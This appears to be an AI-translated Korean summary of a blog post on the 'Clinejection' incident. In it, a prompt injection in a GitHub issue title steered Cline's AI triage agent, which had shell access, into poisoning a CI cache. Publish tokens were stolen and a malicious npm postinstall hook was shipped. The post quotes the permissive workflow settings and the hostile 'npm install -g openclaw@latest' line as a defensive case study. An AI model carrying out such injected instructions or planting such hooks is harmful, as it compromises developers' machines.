Clinejection: GitHub 이슈 제목이 어떻게 500만 개발자가 사용하는 AI 코딩 어시스턴트를 위험에 빠뜨렸는가
요약
AI 코딩 어시스턴트 Cline이 GitHub 이슈 제목을 통한 프롬프트 인젝션 공격으로 인해 공급망 침해 사고를 겪었습니다. 잘못된 권한 설정과 정제되지 않은 입력값으로 인해 악성 npm 패키지가 사용자 기기에 설치되는 4단계 공격 체인이 발생했습니다.
핵심 포인트
- GitHub 이슈 제목을 이용한 프롬프트 인젝션 공격 발생
- AI 에이전트의 과도한 셸 명령 및 쓰기 권한 부여가 근본 원인
- 캐시 포이즈닝을 통해 야간 워크플로의 게시 토큰 탈취
- 사용자 동의 없이 악성 패키지를 설치하는 공급망 공격 확인
요약 (TL;DR)
2025년 12월, 500만 명 이상의 사용자를 보유한 AI 코딩 어시스턴트인 Cline이 GitHub 이슈를 분류(triage)하기 위해 AI 에이전트(Claude)에게 셸 명령(shell commands) 실행 권한을 포함한 쓰기 권한을 부여했습니다. 잘못 설정된 트리거 조건으로 인해 모든 GitHub 사용자가 해당 워크플로를 호출할 수 있었습니다. 그 결과, 악성 npm 패키지가 사용자 기기에 두 번째 AI 에이전트를 조용히 설치하게 되는 4단계 공급망 공격(supply chain compromise)이 발생했습니다.
저는 전체 공격 체인을 영상으로 분석했습니다:
아래는 단계별 공격 체인입니다.
0단계: 설정 (The setup)
이슈 분류 자동화는 광범위한 도구 권한(tool permissions)과 함께, 기여자(contributors)뿐만 아니라 모든 GitHub 사용자가 사용할 수 있는 트리거 조건으로 설정되어 있었습니다. 이 두 번째 부분이 근본 원인입니다. 즉, 인증되지 않은 입력(unauthenticated input)에 대해 트리거가 열려 있었던 것입니다. (정확한 설정 값은 아래의 확인된 아티팩트(Confirmed Artifacts) 섹션에 있습니다.)
1단계: 이슈 제목을 통한 프롬프트 인젝션 (Prompt injection via issue title)
이슈 제목 자체는 모델에 도달하기 전에 전혀 정제(sanitized)되지 않았습니다. 어떤 퍼스트 파티 소스도 주입된 정확한 페이로드(payload)를 그대로 공개하지 않았으며(GHSA는 이를 공개하지 않음), 따라서 여기서의 재구성은 설명 목적일 뿐 확인된 것은 아닙니다. 확인된 사실은 메커니즘입니다: 도구 권한이 이미 부여된 상태에서 신뢰할 수 없는 문자열이 모델에 도달했다는 점입니다.
2단계: 캐시 포이즈닝 (Cache poisoning)
주입된 명령은 도구(Snyk, Cloud Security Alliance 등 여러 독립적인 사후 분석 보고서에서 "Cacheract"라고 명명함)를 배포하여 CI 캐시(CI cache)를 10GB 이상의 쓰레기 데이터로 가득 채웠고, 표준 LRU(Least Recently Used) 교체 방식을 통해 정당한 항목들을 밀어냈습니다.
3단계: 야간 워크플로가 오염된 캐시를 상속 (Nightly workflow inherits the poisoned cache)
야간 릴리스 워크플로(nightly release workflow)는 UTC 기준 오전 2시경에 해당 오염된 캐시를 복구하여 그 안에서 실행되었으며, 이 과정에서 3개의 게시 토큰(publish tokens)을 넘겨주었습니다. (이름은 GHSA 및 여러 독립적인 소스를 통해 확인되었습니다 — 아래 참조.)
4단계: 게시 (Publication)
cline@2.3.0은 npm에 배포될 당시, 사용자의 동의 없이 AI 에이전트에 의해 설치되는 또 다른 AI 에이전트 패키지를 전역(globally)으로 조용히 설치하는 postinstall 스크립트를 포함하고 있었습니다. 이 문장은 Cline의 자체 보안 권고(security advisory)에서 직접 인용한 것이며, 재구성된 것이 아닙니다. 이는 전체 공격 체인에서 가장 강력한 증거 지점입니다. (전체 인용문은 아래 참조.)
타임라인 (Timeline)
- 2025년 12월 9일 — 연구자가 이슈 보고
- 약 5주간의 침묵 — 유지 관리자(maintainers) 측의 대응 없음
- 2026년 2월 17일 — 공개 공개(public disclosure) 8일 후, 실제 환경에서 익스플로잇(exploit) 발생
- 적발 전까지 약 8시간 동안 약 4,000건의 설치 발생
Cline을 넘어 이 문제가 중요한 이유
이는 tj-actions/changed-files 침해 사고와 동일한 형태입니다. 즉, 아무도 적극적으로 모니터링하지 않는 신뢰된 자동화 연결(automation connection)을 이용한 것입니다. 진입점은 다르지만(CI 태그 대신 AI 분류(triage) 에이전트 사용), 근본적인 실패 유형은 동일합니다.
자신의 리포지토리를 위한 세 가지 점검 사항
- 기여자(contributors)뿐만 아니라 모든 GitHub 사용자가 귀하의 AI/자동화 워크플로우(workflows)를 트리거할 수 있습니까?
- 캐시 키(cache keys)가 이슈 제목, 브랜치 이름, PR 설명 등 사용자가 제어할 수 있는 요소로부터 파생됩니까?
- 게시 토큰(publish tokens)이 장기 사용 가능한 정적(static) 토큰입니까, 아니면 OIDC를 통해 순환(rotate)됩니까?
확인된 아티팩트 (Confirmed artifacts)
다음은 사후 분석(postmortems) 및 Cline의 자체 권고문에서 직접 추출한 정확한 문자열이며, 의역하지 않았습니다:
분류(Triage) 워크플로우 설정:
--allowedTools "Bash,Read,Write,Edit"
allowed_non_write_users: "*"
유출된 토큰 (Hop 3):
NPM_RELEASE_TOKEN
VSCE_PAT
OVSX_PAT
악성 postinstall 스크립트 (Hop 4) — 출처: Cline 보안 권고:
"postinstall": "npm install -g openclaw@latest"
이 글에서 축자적(verbatim)이지 않은 유일한 요소는 Hop 1에서 주입된 이슈 제목 페이로드(issue-title payload)입니다. 어떤 소스도 이를 전체 공개하지 않았으므로, 표시된 모든 버전은 재구성된 것이며 이를 명시하였습니다.
공격 체인을 단일 4노드 그래프(네 개의 별도 발견 사항이 아닌 하나의 흐름)로 시각화한 전체 워크스루(walkthrough):
출처: Cline 보안 권고(security advisory), GHSA, Cloud Security Alliance 및 Snyk 사후 분석(postmortems).
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기